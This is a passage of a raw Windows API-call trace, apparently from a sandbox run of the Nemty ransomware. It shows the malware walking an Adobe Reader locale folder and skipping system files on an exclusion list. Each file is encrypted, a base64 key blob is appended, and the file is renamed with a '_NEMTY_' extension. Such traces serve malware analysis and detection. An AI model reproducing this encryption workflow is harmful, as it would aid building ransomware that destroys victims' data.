CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DAN", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.DAN", lpUsedDefaultChar=0x0) returned 13 [0174.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.562] Sleep (dwMilliseconds=0x5) [0174.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bb40050, dwHighDateTime=0x1d561e8)) [0174.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bb40050, dwHighDateTime=0x1d561e8)) [0174.577] GetLastError () returned 0x0 [0174.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.577] GetLastError () returned 0x0 [0174.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.578] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.578] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.578] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.578] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="03m6/H4jkEmztbZqI9n//L715C/zn7EF9j2/KE7qOZbtJuphHOOw9Gb8ltrqN+rB\r\n7jNJO//m5xR0zhup4oTnliWLvxH0jvWynq3NkRNZXPnG/aF50w5IWKk0Tu6enpbW\r\nWXi+SKQ2zrJZhp/D8jsml80OM3pt+qWrvjV8VtKF3HxasD8/W68oEdaOAPV2AgVC\r\nWcI5tH+rDtfj3xtO7J/nVoyurnqqNp8oVjU/sRGHn3dDn+BmdlPgo3pgtoSeyKtb\r\nPEybue26gk6Z0J1itW56VS0zmRhVtsc4k7mkfYTKSkqcenmAE2FoA9XbFfvWJRW8\r\nxdrax52QaLqvQrFqapOZNg==\r\n", pcchString=0x653e5dc) returned 1 [0174.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.578] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\BRdlang32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\brdlang32.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.578] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=13312) returned 1 [0174.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3400) returned 0x6352c48 [0174.578] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.578] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3400, lpOverlapped=0x0) returned 1 [0174.581] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.581] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3400, lpOverlapped=0x0) returned 1 [0174.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.581] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=13312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3400 [0174.581] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.581] CloseHandle (hObject=0x2e8) returned 1 [0174.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.581] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.581] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.581] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\BRdlang32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\brdlang32.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\BRdlang32.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\brdlang32.dan._nemty_kgobjgd_")) returned 1 [0174.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.582] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1de00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.DAN", cAlternateFileName="")) returned 1 [0174.582] lstrcmpiW (lpString1="Checkers.DAN", lpString2=".") returned 1 [0174.582] lstrcmpiW (lpString1="Checkers.DAN", lpString2="..") returned 1 [0174.582] lstrcmpiW (lpString1="Checkers.DAN", lpString2="...") returned 1 [0174.582] lstrcmpiW (lpString1="Checkers.DAN", lpString2="windows") returned -1 [0174.582] lstrcmpiW (lpString1="Checkers.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.582] lstrcmpiW (lpString1="Checkers.DAN", lpString2="rsa") returned -1 [0174.582] lstrcmpiW (lpString1="Checkers.DAN", lpString2="NTDETECT.COM") returned -1 [0174.582] lstrcmpiW (lpString1="Checkers.DAN", lpString2="ntldr") returned -1 [0174.582] lstrcmpiW (lpString1="Checkers.DAN", lpString2="MSDOS.SYS") returned -1 [0174.582] lstrcmpiW (lpString1="Checkers.DAN", lpString2="IO.SYS") returned -1 [0174.583] lstrcmpiW (lpString1="Checkers.DAN", lpString2="boot.ini") returned 1 [0174.583] lstrcmpiW (lpString1="Checkers.DAN", lpString2="boot.ini") returned 1 [0174.583] lstrcmpiW (lpString1="Checkers.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.583] lstrcmpiW (lpString1="Checkers.DAN", lpString2="ntuser.dat") returned -1 [0174.583] lstrcmpiW (lpString1="Checkers.DAN", lpString2="desktop.ini") returned -1 [0174.583] lstrcmpiW (lpString1="Checkers.DAN", lpString2="CONFIG.SYS") returned -1 [0174.583] lstrcmpiW (lpString1="Checkers.DAN", lpString2="RECYCLER") returned -1 [0174.583] lstrcmpiW (lpString1="Checkers.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.583] lstrcmpiW (lpString1="Checkers.DAN", lpString2="bootmgr") returned 1 [0174.583] lstrcmpiW (lpString1="Checkers.DAN", lpString2="programdata") returned -1 [0174.583] lstrcmpiW (lpString1="Checkers.DAN", lpString2="appdata") returned 1 [0174.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DAN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DAN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DAN", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DAN", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.DAN", lpUsedDefaultChar=0x0) returned 12 [0174.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.583] Sleep (dwMilliseconds=0x5) [0174.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bb661b0, dwHighDateTime=0x1d561e8)) [0174.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bb661b0, dwHighDateTime=0x1d561e8)) [0174.593] GetLastError () returned 0x0 [0174.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.593] GetLastError () returned 0x0 [0174.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.593] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.593] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.593] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.593] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="M/lr4esv7lf1T5aPRc47ykUqWvzIE7e2htQG6HRm4C+Pwdej+Vm8MT2uukfEdnam\r\nPvIOHvLgQYP0E7+KQvxhE3lWr0M7J2Obg3AS8Az5llLmcX1eHSz5ZAS0wSrC4Wmy\r\n7h6wD6Pi4UfbTtqhBw+9aR4SeQZMHT8Z8qSapvKCOG3+arlgsOMrl1xagb8w0P7r\r\ntMNMl7bSbCuvqRmHqm6Xlb6jxCtyNfjFkrKu7AAMPTsUoq4mXP7cEzG8J7vveffP\r\n6fHv4PYUyLE2L2E0jQtqG9pOvYdNyfsP4XXbxcCmajMrfOJ3Eh8fmVYlpPD6ap6S\r\nYAPRPl6hWmSPdVPqPLELLA==\r\n", pcchString=0x653e5dc) returned 1 [0174.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.594] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Checkers.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\checkers.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.594] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=122368) returned 1 [0174.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0174.594] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.595] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0174.603] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.603] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0174.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.603] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=122368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1de00 [0174.603] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.603] CloseHandle (hObject=0x2e8) returned 1 [0174.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.604] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Checkers.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\checkers.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Checkers.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\checkers.dan._nemty_kgobjgd_")) returned 1 [0174.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.604] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.DAN", cAlternateFileName="")) returned 1 [0174.604] lstrcmpiW (lpString1="DigSig.DAN", lpString2=".") returned 1 [0174.604] lstrcmpiW (lpString1="DigSig.DAN", lpString2="..") returned 1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="...") returned 1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="windows") returned -1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="rsa") returned -1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="NTDETECT.COM") returned -1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="ntldr") returned -1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="MSDOS.SYS") returned -1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="IO.SYS") returned -1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="boot.ini") returned 1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="boot.ini") returned 1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="ntuser.dat") returned -1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="desktop.ini") returned 1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="CONFIG.SYS") returned 1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="RECYCLER") returned -1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="bootmgr") returned 1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="programdata") returned -1 [0174.605] lstrcmpiW (lpString1="DigSig.DAN", lpString2="appdata") returned 1 [0174.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DAN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.DAN", lpUsedDefaultChar=0x0) returned 10 [0174.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DAN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.DAN", lpUsedDefaultChar=0x0) returned 10 [0174.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DAN", cchWideChar=10, lpMultiByteStr=0x0, 